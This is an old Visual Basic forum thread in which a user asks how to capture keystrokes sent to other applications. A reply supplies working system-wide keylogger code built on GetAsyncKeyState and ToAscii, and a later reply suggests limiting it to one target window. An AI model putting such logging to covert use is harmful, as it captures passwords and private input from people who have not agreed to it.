Results 1 to 5 of 5

Thread: To store key strokes received by other applications

  1. #1

    Thread Starter
    New Member
    Join Date
    Oct 1999
    Location
    Pune,Maharashtra,India
    Posts
    5

    Post

    I want to store key strokes received by other application through my VB application. We can send key strokes to other application by using Shell,AppActivate & SendKeys commands. In a reverse manner, I want to know to the key strokes received by other application & store it. How to do it?

  2. #2
    Hyperactive Member
    Join Date
    Nov 1999
    Posts
    266

    Post

    What do you need to store the keystrokes? Can you please elaborate on your application?

  3. #3
    Guru Aaron Young's Avatar
    Join Date
    Jun 1999
    Location
    Red Wing, MN, USA
    Posts
    2,176

    Post

    Here's some code I've just finished which Logs all Keyboard Input regardless of which Application is recieving it.

    It's really only the Skeleton of any kind of Key Log Program but should be easily configured to meet your specific needs:

    Add a Timer Control to your Form..
    Code:
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
    Private Declare Function GetKeyboardState Lib "user32" (pbKeyState As Byte) As Long
    Private Declare Function ToAscii Lib "user32" (ByVal uVirtKey As Long, ByVal uScanCode As Long, lpbKeyState As Byte, lpwTransKey As Long, ByVal fuState As Long) As Long
    
    Private Const VK_SHIFT = &H10   'Used by Win9x
    Private Const VK_LSHIFT = &HA0  'Used by NT
    Private Const VK_RSHIFT = &HA1  'Used by NT
    
    Private Sub Form_Load()
        'Need a Very Low Interval to Ensure the Keys are Captured in the Correct Order
        Timer1.Interval = 10
        Timer1.Enabled = True
    End Sub
    
    Private Sub Timer1_Timer()
        Dim iKey As Integer
        Dim iAsc As Long
        Dim bKeys(255) As Byte
        
        For iKey = 0 To 255
            'Use GetAsyncKeyState to Monitor Keypress From Anywhere in the O/S.
            If GetAsyncKeyState(iKey) And iKey <> VK_LSHIFT And iKey <> VK_RSHIFT And iKey <> VK_SHIFT Then Exit For
        Next
        If iKey < 256 Then
            'Get the Current Keyboard State For the Shift Keys Etc..
            Call GetKeyboardState(bKeys(0))
            While GetAsyncKeyState(iKey)
                'Wait for Key to be Released
            Wend
            'Conver the Key to it's ASCII Equivilant
            Call ToAscii(iKey, 0&, bKeys(0), iAsc, 0&)
            If iAsc Then
                'Store Keypress to Log Here
                Debug.Print Chr(iAsc);
            End If
        End If
    End Sub

    ------------------
    Aaron Young
    Analyst Programmer
    aarony@redwingsoftware.com
    adyoung@win.bright.net

  4. #4

    Thread Starter
    New Member
    Join Date
    Oct 1999
    Location
    Pune,Maharashtra,India
    Posts
    5

    Post

    Thanks a lot for your help.
    I've one more problem. The above code will receive all the key strokes. Many applications may be running. Can I put a filter so that I'll know the key operations made on a perticular application ?
    Suppose a,b,c,d are the applications running. Our this program may be say 'd'. Now I want 'd' to store key operation made for 'a' application & should not store keys for 'b', 'c'.

  5. #5
    Guru Aaron Young's Avatar
    Join Date
    Jun 1999
    Location
    Red Wing, MN, USA
    Posts
    2,176

    Post

    What you could do is find out the Window Handle of the Form/Window you wish to Recieve Input for, then in the Routine Check if that Window is the ForeGround Window with the GetForegroundWindow API.

    ------------------
    Aaron Young
    Analyst Programmer
    aarony@redwingsoftware.com
    adyoung@win.bright.net

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  



Click Here to Expand Forum to Full Width